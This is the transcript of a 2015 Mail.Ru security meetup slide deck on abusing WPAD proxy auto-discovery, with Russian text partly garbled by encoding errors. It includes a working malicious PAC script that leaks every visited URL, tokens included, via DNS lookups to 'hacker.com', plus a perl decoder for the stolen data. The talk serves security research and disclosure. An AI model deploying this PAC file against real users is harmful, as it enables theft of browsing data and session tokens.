Top Banner
19

Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Jul 20, 2015

Download

Software

MailRuGroup
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

WPADÌàêñèì Àíäðååâ, ïðîãðàììèñò áýêåíäà Îáëàêî Mail.Ru

Page 2: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Web Proxy Auto Discovery Protocol

Proxy Auto-Con�g �le

function FindProxyForURL(url, host) {

if (host == "mail.ru") {

return "PROXY mp.example.com:8080";

} else

if (host == "google.com") {

return "PROXY gp.example.com:5050";

} else {

return "DIRECT";

}

}

Page 3: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Äîìåí êëèåíòà - msk.o�ce.work

Windows XP Pro SP3:

1. http://wpad.msk.office.work/wpad.dat (DNS)

2. http://wpad.office.work/wpad.dat (DNS)

Windows 7 Pro SP1:

1. http://wpad.msk.office.work/wpad.dat (DNS)

2. http://wpad/wpad.dat (LLMNR)

3. http://wpad/wpad.dat (NBNS)

Page 4: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group
Page 5: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Ñêîëüêî ñåé÷àñ äîìåíîâ 1 óðîâíÿ (com, ru, net, ...)?

861

Page 6: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Ñêîëüêî ñåé÷àñ äîìåíîâ 1 óðîâíÿ (com, ru, net, ...)?

861

Page 7: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

wpad.work

3901 óíèêàëüíûõ IP çà 11 äíåé

Page 8: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

http

Page 9: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

https

Page 10: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

http://findproxyforurl.com/pac-functions/

Page 11: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

isResolvable

Attempts to resolve a hostname to an IP address and returns true if

successful.

// If the host requested can be resolved by DNS,

// send via proxy1.example.com.

if (isResolvable(host))

return "PROXY proxy1.example.com:8080";

Page 12: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Ïåðåäàäèì äàííûå ÷åðåç DNS!

function FindProxyForURL(url, host) {

var d = url.replace(/[^a-z0-9]+/g, '.') + ".xxx.ru";

return isResolvable(d) ? "DIRECT" : "DIRECT";

}

https://example.ru/?token=123

⇓https.example.ru.token.123.xxx.ru

Page 13: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

http://mail.ru/?a=123#token=secret

Page 14: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

function encode(str) {

r = str.toLowerCase()

.replace(/([^a-z1-9])/g, function(m) {

return "0" + m.charCodeAt(0)

})

.replace(/([^\.]{60})(.)/g, '$1.$2')

.substr(0, 240);

return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";

}

function FindProxyForURL(url, host) {

var u = encode(url);

return isResolvable(u) ? "DIRECT" : "DIRECT";

}

Page 15: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

https://example.ru/?token=123

⇓https058047047example046ru047063token061123.hacker.com

echo 'https058047047example046ru047063token061123.hacker.com' \

| perl -lape 's/\.hacker\.com$//; s/\.//g; s/0(..)/chr($1)/eg;'

⇓https://example.ru/?token=123

Page 16: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

Ïðîòîêîëû

53% https

46% http

0.15% ws

0.08% wss

Ñòðàíû

14% Ðîññèÿ

11% ÑØÀ

9% Êèòàé

7% Èíäèÿ

Page 17: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

×òî â èòîãå?

Page 18: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

×òî äåëàòü?

Page 19: Максим cdump Андреев, WPAD, Security Meetup 9 апреля, Mail.Ru Group

@cdump

[email protected]